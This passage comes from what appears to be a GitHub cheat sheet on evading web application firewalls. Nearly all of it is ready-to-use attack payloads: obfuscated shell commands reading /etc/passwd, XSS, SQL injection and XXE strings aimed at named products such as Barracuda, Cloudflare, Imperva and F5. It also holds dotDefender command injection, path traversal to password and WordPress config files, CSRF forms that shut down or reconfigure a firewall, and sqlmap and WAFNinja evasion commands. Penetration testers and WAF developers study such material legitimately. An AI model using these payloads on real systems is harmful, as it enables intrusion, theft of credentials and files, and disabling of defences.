  • Level 3 Obfuscation: Random chars
    Standard: /bin/cat /etc/passwd
    Obfuscated: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

An exotic payload crafted:

$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf

12. Random Tabs

  • Tabs often help to evade firewalls especially regex based ones.
  • Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs.

Standard: <IMG SRC="javascript:alert();">
Bypassed: <IMG SRC=" javascript:alert();">
Variant: <IMG SRC=" jav ascri pt:alert ();">

Standard: <iframe src=javascript:alert(1)></iframe>
Obfuscated:

<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>

Browser Bugs:

Charset Bugs:

  • We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
  • When the site decodes the string, the payload gets triggered.

Example request:

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.

Final URL encoded payload:

%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 

Null Bytes:

  • The null bytes are commonly used as string terminator.
  • This can help us evade many web application filters in case they are not filtering out the null bytes.

Payload examples:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Parsing Bugs:

  • RFC states that NodeNames cannot begin with whitespace.
  • But we can use special chars like %, //, !, ?, etc.

Examples:

  • <// style=x:expression\28write(1)\29> - Works upto IE7 (Source)
  • <!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)
  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)
  • <%div%20style=xss:expression(prompt(1))> - Works Upto IE7

Unicode Separators:

  • Every browser has their own specific charset of separators.
  • We can fuzz charset range of 0x00 to 0xFF and get the set of separators for each browser.

Here is a compiled list of separators:

  • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
  • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Safari: 0x2C, 0x3B
  • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Opera: 0x09, 0x20, 0x2C, 0x3B
  • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

An exotic payload:

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

Request Header Spoofing:

Method:

  • The target is to fool the WAF/server into believing it was from their internal network.
  • Adding some spoofed headers to represent the internal network, does the trick.

Technique:

  • With each request some set of headers are to be added simultaneously thus spoofing the origin.
  • The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.

Some common headers used:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google Dorks Approach:

Method:

  • There are a lot of known bypasses of various web application firewalls (see section).
  • With the help of google dorks, we can easily find bypasses.

Techniques:

Before anything else, you should hone up skills from Google Dorks Cheat Sheet.

  • Normal search:
    +<wafname> waf bypass

  • Searching for specific version exploits:
    "<wafname> <version>" (bypass|exploit)

  • For specific type bypass exploits:
    "<wafname>" +<bypass type> (bypass|exploit)

  • On Exploit DB:
    site:exploit-db.com +<wafname> bypass

  • On 0Day Inject0r DB:
    site:0day.today +<wafname> <type> (bypass|exploit)

  • On Twitter:
    site:twitter.com +<wafname> bypass

  • On Pastebin
    site:pastebin.com +<wafname> bypass

Known Bypasses:

Barracuda

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
<a/href=&#74;ava%0a%0d%09script&colon;alert()>click

Citrix NetScaler

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
        <string>’ union select current_user, 2#</string>
    </soapenv:Body>
</soapenv:Envelope>
/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e

Cloudflare

<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`
<--`<img/src=` onerror=confirm``> --!>
<a"/onclick=(confirm)()>click

Comodo

<d3v/onauxclick=(((confirm)))``>click
0 union/**/select 1,version(),@@datadir

DotDefender

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
  • Remote Command Execution (v3.8-5) by @John Dos
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15
GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
<details/open/ontoggle=(confirm)()//
  • GET - XSS Bypass (v4.02) by @DavidK
/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />
  • POST - XSS Bypass (v4.02) by @DavidK
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ 

Fortinet Fortiweb

/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 

POST Type Query

POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

GET Type Query

http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

F5 ASM

<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>

F5 BIG-IP

<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>

Read Arbitrary File

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

Delete Arbitrary File

POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

F5 FirePass

state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ 

Imperva SecureSphere

anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1

Profense

Turn off Proface Machine

<img src=https://host:2000/ajax.html?action=shutdown>

Add a proxy

<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
%3CEvil%20script%20goes%20here%3E=%0AByPass
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E 

QuickDefense

?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>

WebKnight

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>
0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)

Wordfence

<a/href=javascript&colon;alert()>click
http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive. 
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email" 
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>

Apache

  • Writing method type in lowercase by @i_bo0om
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

IIS

    GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Kona SiteDefender

?"></script><base%20c%3D=href%3Dhttps:\mysite>

Awesome Tools

Fingerprinting:

1. Fingerprinting with NMap:
Source: GitHub | SVN

  • Normal WAF fingerprinting
    nmap --script=http-waf-fingerprint <target>

  • Intensive WAF fingerprinting
    nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 <target>

  • Generic detection
    nmap --script=http-waf-detect <target>

2. Fingerprinting with identYwaf:
Source: GitHub

python identYwaf.py --delay=2 --proxy=<proxy> <target>

Testing:

Evasion:

1. Evading WAFs with SQLMap Tamper Scripts:

  • General Tamper Testing
sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
  • MSSQL Tamper Testing
sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
  • MySQL Tamper Testing
sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
  • Generic Tamper Testing
sqlmap -u <target> --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

2. Evading WAFs with WAFNinja
Source: GitHub

  • Fuzzing
    python wafninja.py fuzz -u <target> -t xss

  • Bypassing
    python wafninja.py bypass -u <target> -p "name=<payload>&Submit=Submit" -t xss

  • Insert Fuzzing
    python wafninja.py insert-fuzz -i select -e select -t sql

3. Evading WAFs with WhatWaf:
Source: GitHub

whatwaf -u <target> --ra --throttle 2

4. Evading with Bypass WAF - BurpSuite:
Source: Burp Suite App Store

  • Bypass WAF adds some headers to evade some WAF products:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
  • Create a session handling rule in Burp that invokes this extension.
  • Modify the scope to include applicable tools and URLs.
  • Configure the bypass options on the "Bypass WAF" tab.

Blogs and Writeups

Video Presentations

Presentations & Research Papers

Research Papers:

Presentations:

Credits & License:

This work has been presented by Infected Drake (0xInfection) and is licensed under the Apache 2.0 License.

You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.